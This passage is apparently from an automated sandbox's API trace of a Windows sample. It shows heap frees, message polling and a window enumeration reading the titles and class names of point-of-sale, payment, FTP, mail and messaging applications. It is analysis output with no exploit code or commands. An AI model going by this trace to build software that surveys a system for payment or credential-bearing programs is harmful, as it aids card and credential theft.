dwFlags=0x0, lpMem=0x10786b0 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078788 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786c8 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10787a0 | out: hHeap=0xe80000) returned 1 [0168.325] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10786e0 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefcfd0 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078440 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafba8 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbb8 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078590 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078ae8 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078968 | out: hHeap=0xe80000) returned 1 [0168.326] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078908 | out: hHeap=0xe80000) returned 1 [0168.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788d8 | out: hHeap=0xe80000) returned 1 [0168.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788c0 | out: hHeap=0xe80000) returned 1 [0168.327] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee5ab0 | out: hHeap=0xe80000) returned 1 [0168.327] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.327] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.328] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.328] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0168.329] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.330] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0168.330] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.330] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0168.330] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.330] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.330] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.331] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.331] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.331] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.331] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.331] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.331] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.331] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.331] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.332] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.332] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.332] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.332] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.332] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.332] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.332] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.333] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.333] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0168.333] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0168.333] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0168.333] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.333] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.334] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.334] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0168.334] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.334] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0168.334] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.334] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.334] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.335] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.335] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.335] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.335] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0168.335] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0168.335] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.335] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.336] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.336] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0168.336] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0168.336] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0168.336] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.336] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.337] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.337] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0168.337] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.337] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.337] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.337] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0168.338] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0168.338] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0168.338] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.338] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.338] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.338] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.338] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.339] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.339] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0168.339] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0168.339] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.339] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.339] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0168.339] GetClassNameW (in: hWnd=0x10350, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spgagentserviceclass") returned 20 [0168.340] GetWindowTextW (in: hWnd=0x1034c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thank Clearly") returned 13 [0168.340] GetClassNameW (in: hWnd=0x1034c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Thank_clearly_cls") returned 17 [0168.340] GetWindowTextW (in: hWnd=0x10348, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Learn Get") returned 9 [0168.340] GetClassNameW (in: hWnd=0x10348, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Learn_get_") returned 10 [0168.340] GetWindowTextW (in: hWnd=0x1032c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spcwin") returned 6 [0168.340] GetClassNameW (in: hWnd=0x1032c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="spcwinwindow") returned 12 [0168.340] GetWindowTextW (in: hWnd=0x10342, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Hair Federal") returned 12 [0168.341] GetClassNameW (in: hWnd=0x10342, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="hairFederalcls") returned 14 [0168.341] GetWindowTextW (in: hWnd=0x10338, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Education") returned 9 [0168.341] GetClassNameW (in: hWnd=0x10338, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Educationwnd") returned 12 [0168.341] GetWindowTextW (in: hWnd=0x10336, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Utg2") returned 4 [0168.341] GetClassNameW (in: hWnd=0x10336, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="utg2_win") returned 8 [0168.341] GetWindowTextW (in: hWnd=0x10324, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Mxslipstream") returned 12 [0168.342] GetClassNameW (in: hWnd=0x10324, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="mxslipstream_class") returned 18 [0168.342] GetWindowTextW (in: hWnd=0x1030e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Creditservice") returned 13 [0168.342] GetClassNameW (in: hWnd=0x1030e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="creditservice_") returned 14 [0168.342] GetWindowTextW (in: hWnd=0x10326, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Omnipos") returned 7 [0168.342] GetClassNameW (in: hWnd=0x10326, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="omniposwindow") returned 13 [0168.342] GetWindowTextW (in: hWnd=0x10318, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fpos") returned 4 [0168.343] GetClassNameW (in: hWnd=0x10318, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fpos_window") returned 11 [0168.343] GetWindowTextW (in: hWnd=0x10310, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Edcsvr") returned 6 [0168.343] GetClassNameW (in: hWnd=0x10310, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="edcsvrapp") returned 9 [0168.343] GetWindowTextW (in: hWnd=0x1031a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Isspos") returned 6 [0168.343] GetClassNameW (in: hWnd=0x1031a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="isspos_win") returned 10 [0168.343] GetWindowTextW (in: hWnd=0x10300, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ccv_Server") returned 10 [0168.343] GetClassNameW (in: hWnd=0x10300, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ccv_serverwin") returned 13 [0168.344] GetWindowTextW (in: hWnd=0x102f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Afr38") returned 5 [0168.344] GetClassNameW (in: hWnd=0x102f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="afr38wnd") returned 8 [0168.388] GetWindowTextW (in: hWnd=0x10306, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Centralcreditcard") returned 17 [0168.388] GetClassNameW (in: hWnd=0x10306, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="centralcreditcard_wnd") returned 21 [0168.388] GetWindowTextW (in: hWnd=0x102f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Aldelo") returned 6 [0168.388] GetClassNameW (in: hWnd=0x102f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="aldelowindow") returned 12 [0168.389] GetWindowTextW (in: hWnd=0x102ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Accupos") returned 7 [0168.389] GetClassNameW (in: hWnd=0x102ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="accupos_") returned 8 [0168.389] GetWindowTextW (in: hWnd=0x102e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Active-Charge") returned 13 [0168.389] GetClassNameW (in: hWnd=0x102e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="active-chargewin") returned 16 [0168.389] GetWindowTextW (in: hWnd=0x102e6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Yahoomessenger") returned 14 [0168.389] GetClassNameW (in: hWnd=0x102e6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="yahoomessengerwindow") returned 20 [0168.390] GetWindowTextW (in: hWnd=0x102d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Whatsapp") returned 8 [0168.390] GetClassNameW (in: hWnd=0x102d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="whatsapp_cls") returned 12 [0168.390] GetWindowTextW (in: hWnd=0x102e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Winscp") returned 6 [0168.390] GetClassNameW (in: hWnd=0x102e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="winscp_app") returned 10 [0168.390] GetWindowTextW (in: hWnd=0x102d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Webdrive") returned 8 [0168.390] GetClassNameW (in: hWnd=0x102d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="webdriveapp") returned 11 [0168.391] GetWindowTextW (in: hWnd=0x102d2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Trillian") returned 8 [0168.391] GetClassNameW (in: hWnd=0x102d2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="trillianwin") returned 11 [0168.391] GetWindowTextW (in: hWnd=0x102aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Smartftp") returned 8 [0168.391] GetClassNameW (in: hWnd=0x102aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="smartftpwnd") returned 11 [0168.392] GetWindowTextW (in: hWnd=0x102b0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Skype") returned 5 [0168.392] GetClassNameW (in: hWnd=0x102b0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="skype_wnd") returned 9 [0168.392] GetWindowTextW (in: hWnd=0x102ac, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Thunderbird") returned 11 [0168.392] GetClassNameW (in: hWnd=0x102ac, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="thunderbird_wnd") returned 15 [0168.392] GetWindowTextW (in: hWnd=0x1029c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Scriptftp") returned 9 [0168.392] GetClassNameW (in: hWnd=0x1029c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="scriptftpapp") returned 12 [0168.392] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0168.393] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0168.393] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0168.393] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0168.393] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0168.393] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0168.393] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0168.394] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0168.394] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0168.394] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0168.394] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Icq") returned 3 [0168.394] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0168.394] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0168.394] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0168.395] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0168.395] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0168.395] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Far") returned 3 [0168.395] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0168.395] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0168.395] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0168.396] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0168.396] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0168.396] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0168.396] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0168.396] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fling") returned 5 [0168.396] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0168.397] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0168.397] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0168.397] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0168.397] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0168.397] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0168.397] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0168.397] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0168.398] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0168.398] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0168.398] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0168.398] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Barca") returned 5 [0168.398] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0168.398] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0168.398] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0168.399] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0168.399] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0168.399] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0168.399] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0168.399] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0168.399] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0168.399] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0168.400] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0168.400] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0168.400] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0168.400] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0168.400] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0168.400] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Big") returned 3 [0168.400] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0168.401] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0168.401] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0168.401] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0168.401] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0168.401] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0168.401] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0168.401] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0168.402] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0168.402] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Painting") returned 8 [0168.402] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0168.402] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Better") returned 6 [0168.402] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0168.402] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0168.402] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0168.403] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.403] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.403] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.403] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdedb0, 